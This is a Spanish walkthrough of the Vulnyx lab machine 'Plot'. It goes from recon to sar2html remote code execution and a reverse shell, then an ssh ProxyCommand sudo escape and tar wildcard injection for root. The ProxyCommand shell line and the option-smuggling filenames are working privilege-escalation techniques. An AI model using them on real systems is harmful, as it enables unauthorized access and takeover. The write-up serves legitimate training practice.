Máquina Plot (Vulnyx)

Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:

$ netdiscover -i eth1 -r 10.0.2.0/24

  • Kali (Máquina Atacante): 10.0.2.4
  • Máquina Victima: 10.0.2.25

Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:

$ ping -c 1 10.0.2.25

Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.

A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

$ nmap -Pn 10.0.2.25 -sVC

Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22 y 80.

Comprobamos que es lo que corre por el puerto 80.

A continuación, realizamos con la herramienta gobuster un fuzzing web, para ello ejecutamos el siguiente comando:

$ gobuster dir -u http://10.0.2.25:80 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt

No encontramos nada.

Buscamos en las cabeceras en busca de un dominio.

Encontramos el dominio pl0t.nyx.

Lo agregamos al archivo /etc/hosts, para ello ejecutamos el siguiente comando:

$ nano /etc/hosts

A continuación, realizamos de nuevo con la herramienta gobuster un fuzzing web pero esta vez por subdominios, para ello ejecutamos el siguiente comando:

$ gobuster vhost -u http://plot.nyx -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt --append-domain

Encontramos el subdominio sar.pl0t.nyx.

Lo agregamos también al archivo /etc/hosts, para ello ejecutamos el siguiente comando:

$ nano /etc/hosts


Accedemos al subdominio encontrado.


En la pagina vemos sar2html ver 3.2.1, buscamos por internet a ver si existe algún exploit para esta versión.

Encontramos este exploit, siendo esta versión vulnerable a Ejecución Remota de Comandos (RCE).

A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:

$ nc -lvnp 443

Ejecutamos el exploit de la siguiente forma, enviándonos una reverse shell.


Y obtenemos una shell como www-data.

A continuación, hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos:

$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm

Enumeramos lo permisos sudo, para ello ejecutamos el siguiente comando:

$ sudo -l

Nos encontramos con el binario ssh que lo podemos ejecutar como el usuario tony, por lo tanto nos vamos a la pagina gtfobins a mirar el payload.

Lo ejecutamos de la siguiente manera:

$ sudo -u tony /usr/bin/ssh -o ProxyCommand=';sh 0<&2 1>&2' x

¡¡¡Somos tony!!!

A continuación, con la ayuda de la herramienta pspy la cual previamente lo descargamos en la Máquina Víctima, enumeramos los comandos ejecutados por otros usuarios, las tareas cron, etc..., para ello ejecutamos el siguiente comando:

$ chmod +x pspy64
$ ./pspy64

Nos damos cuenta de que el comando tar se usa para guardar una copia de seguridad de un directorio, el comodín indica que se desea guardar todos los archivos del directorio /var/www/html, tar permite la ejecución en linea de comandos con las opciones (--checkpoint=1 --checkpoint-action=exec=sh shell.sh) si se crea en este directorio dos archivos con exactamente estos nombres, el comodín hace que se expandan todos estos archivos en el comando, que tar identifica como opciones validas y ejecuta el código; para ello realizamos los siguientes pasos situados en dicho directorio:

$ nano script.sh

$ chmod +x script.sh
$ touch -- "--checkpoint=1"
$ touch -- "--checkpoint-action=exec=sh script.sh"

A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 555 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:

$ nc -lvnp 555


¡¡¡Ya somos root!!!

También pudiendo leer las flags de user y root.